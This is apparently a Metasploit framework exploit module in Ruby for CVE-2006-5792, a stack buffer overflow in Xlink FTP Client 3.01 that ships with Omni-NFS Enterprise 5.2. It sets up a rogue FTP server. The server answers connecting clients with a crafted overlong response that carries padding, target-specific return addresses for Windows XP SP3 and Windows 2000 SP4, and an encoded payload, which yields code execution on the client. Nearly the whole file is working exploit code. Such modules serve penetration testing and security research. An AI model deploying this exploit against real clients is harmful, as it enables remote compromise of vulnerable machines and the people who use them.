##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xlink FTP Client Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Xlink FTP Client 32
          Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
          When an overly long FTP server response is received by a client,
          arbitrary code may be executed.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-5792' ],
          [ 'OSVDB', '33969' ],
          [ 'URL', 'http://www.xlink.com' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 550,
          'BadChars' => "\x00\x0a\x0d\().,",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
          [ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7ce02a2d } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-10-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
    sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"

    print_status("Sending #{self.name}...")
    client.put(sploit)

    handler(client)
    service.close_client(client)
  end
end
